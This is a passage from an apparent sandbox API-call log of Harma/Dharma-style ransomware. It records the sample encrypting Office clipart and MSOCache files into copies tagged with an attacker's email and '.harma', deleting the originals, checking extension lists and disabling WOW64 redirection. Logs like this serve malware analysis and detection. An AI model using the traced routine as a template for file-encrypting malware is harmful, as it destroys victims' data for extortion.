[0068.137] CloseHandle (hObject=0x1f0) returned 1 [0068.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0068.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.137] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.137] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.138] GetLastError () returned 0x0 [0068.138] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0068.139] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0068.140] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.140] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.140] SetEndOfFile (hFile=0x170) returned 1 [0068.140] CloseHandle (hObject=0x170) returned 1 [0068.141] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.141] SetEndOfFile (hFile=0x1f0) returned 1 [0068.141] CloseHandle (hObject=0x1f0) returned 1 [0068.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0068.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.142] lstrlenW (lpString=".doc") returned 4 [0068.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.142] lstrlenW (lpString=".docx") returned 5 [0068.142] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.142] lstrlenW (lpString=".pdf") returned 4 [0068.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.142] lstrlenW (lpString=".xls") returned 4 [0068.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.142] lstrlenW (lpString=".xlsx") returned 5 [0068.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.142] lstrlenW (lpString=".ppt") returned 4 [0068.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.143] lstrlenW (lpString=".zip") returned 4 [0068.143] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.143] lstrlenW (lpString=".rar") returned 4 [0068.143] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.143] lstrlenW (lpString=".bz2") returned 4 [0068.143] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.143] lstrlenW (lpString=".7z") returned 3 [0068.143] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.143] lstrlenW (lpString=".dbf") returned 4 [0068.143] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.143] lstrlenW (lpString=".1cd") returned 4 [0068.143] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.143] lstrlenW (lpString=".jpg") returned 4 [0068.143] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.143] lstrlenW (lpString=".doc") returned 4 [0068.143] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.143] lstrlenW (lpString=".docx") returned 5 [0068.143] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.143] lstrlenW (lpString=".pdf") returned 4 [0068.143] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.143] lstrlenW (lpString=".xls") returned 4 [0068.143] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.143] lstrlenW (lpString=".xlsx") returned 5 [0068.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.143] lstrlenW (lpString=".ppt") returned 4 [0068.144] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.144] lstrlenW (lpString=".zip") returned 4 [0068.144] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.144] lstrlenW (lpString=".rar") returned 4 [0068.144] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.144] lstrlenW (lpString=".bz2") returned 4 [0068.144] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.144] lstrlenW (lpString=".7z") returned 3 [0068.144] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.144] lstrlenW (lpString=".dbf") returned 4 [0068.144] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.144] lstrlenW (lpString=".1cd") returned 4 [0068.144] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0068.144] lstrlenW (lpString=".jpg") returned 4 [0068.144] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.144] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.144] lstrlenW (lpString="AG00170_.GIF") returned 12 [0068.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.145] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=9248) returned 1 [0068.145] CloseHandle (hObject=0x1f0) returned 1 [0068.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0068.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.145] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.145] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.146] GetLastError () returned 0x0 [0068.146] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2420, lpOverlapped=0x0) returned 1 [0068.398] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0068.399] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.400] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.400] SetEndOfFile (hFile=0x170) returned 1 [0068.865] CloseHandle (hObject=0x170) returned 1 [0068.865] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.865] SetEndOfFile (hFile=0x1f0) returned 1 [0068.866] CloseHandle (hObject=0x1f0) returned 1 [0068.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) Thread: id = 12 os_tid = 0x9dc [0038.306] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x6808c8 [0038.306] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3600048 [0038.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0300 [0038.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5f30a0 [0038.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0318 [0038.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3700020 [0038.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0330 [0038.307] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0330, Size=0x20) returned 0x63fa90 [0038.308] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0330 [0038.308] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0330, Size=0x20) returned 0x63fab8 [0038.308] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0038.308] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0038.308] Wow64DisableWow64FsRedirection (in: OldValue=0x2dcff58 | out: OldValue=0x2dcff58*=0x0) returned 1 [0038.308] lstrlenW (lpString="kernel32.dll") returned 12 [0038.308] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fa90 | out: hHeap=0x5a0000) returned 1 [0038.308] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0038.308] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0038.308] Sleep (dwMilliseconds=0x64) [0038.848] Sleep (dwMilliseconds=0x64) [0039.525] Sleep (dwMilliseconds=0x64) [0039.756] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.756] lstrlenW (lpString="Setup.xml") returned 9 [0039.756] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.889] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2296) returned 1 [0039.889] CloseHandle (hObject=0x178) returned 1 [0039.889] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.889] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.890] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.890] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0039.891] GetLastError () returned 0x0 [0039.891] ReadFile (in: hFile=0x178, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x8f8, lpOverlapped=0x0) returned 1 [0039.906] WriteFile (in: hFile=0x17c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x900, lpOverlapped=0x0) returned 1 [0039.907] ReadFile (in: hFile=0x178, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.907] WriteFile (in: hFile=0x17c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.907] SetEndOfFile (hFile=0x17c) returned 1 [0039.907] CloseHandle (hObject=0x17c) returned 1 [0039.909] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.909] SetEndOfFile (hFile=0x178) returned 1 [0039.910] CloseHandle (hObject=0x178) returned 1 [0039.910] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0039.910] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.911] lstrlenW (lpString=".doc") returned 4 [0039.911] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString=".docx") returned 5 [0039.911] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.911] lstrlenW (lpString=".pdf") returned 4 [0039.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString=".xls") returned 4 [0039.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString=".xlsx") returned 5 [0039.911] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.911] lstrlenW (lpString=".ppt") returned 4 [0039.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.911] lstrlenW (lpString=".zip") returned 4 [0039.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.911] lstrlenW (lpString=".rar") returned 4 [0039.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString=".bz2") returned 4 [0039.911] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString=".7z") returned 3 [0039.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.911] lstrlenW (lpString=".dbf") returned 4 [0039.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.911] lstrlenW (lpString=".1cd") returned 4 [0039.912] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.912] lstrlenW (lpString=".jpg") returned 4 [0039.912] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.912] lstrlenW (lpString=".doc") returned 4 [0039.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString=".docx") returned 5 [0039.912] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.912] lstrlenW (lpString=".pdf") returned 4 [0039.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString=".xls") returned 4 [0039.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString=".xlsx") returned 5 [0039.912] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.912] lstrlenW (lpString=".ppt") returned 4 [0039.912] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.912] lstrlenW (lpString=".zip") returned 4 [0039.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.912] lstrlenW (lpString=".rar") returned 4 [0039.912] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString=".bz2") returned 4 [0039.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.912] lstrlenW (lpString=".7z") returned 3 [0039.912] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.912] lstrlenW (lpString=".dbf") returned 4 [0039.912] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.913] lstrlenW (lpString=".1cd") returned 4 [0039.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.913] lstrlenW (lpString=".jpg") returned 4 [0039.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.913] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.913] lstrlenW (lpString="Setup.xml") returned 9 [0039.913] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0039.973] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1608) returned 1 [0039.973] CloseHandle (hObject=0x16c) returned 1 [0039.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0039.973] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.973] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.231] GetLastError () returned 0x0 [0040.231] ReadFile (in: hFile=0x16c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x648, lpOverlapped=0x0) returned 1 [0040.246] WriteFile (in: hFile=0x184, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x650, lpOverlapped=0x0) returned 1 [0040.247] ReadFile (in: hFile=0x16c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.247] WriteFile (in: hFile=0x184, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.248] SetEndOfFile (hFile=0x184) returned 1 [0040.248] CloseHandle (hObject=0x184) returned 1 [0040.249] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, 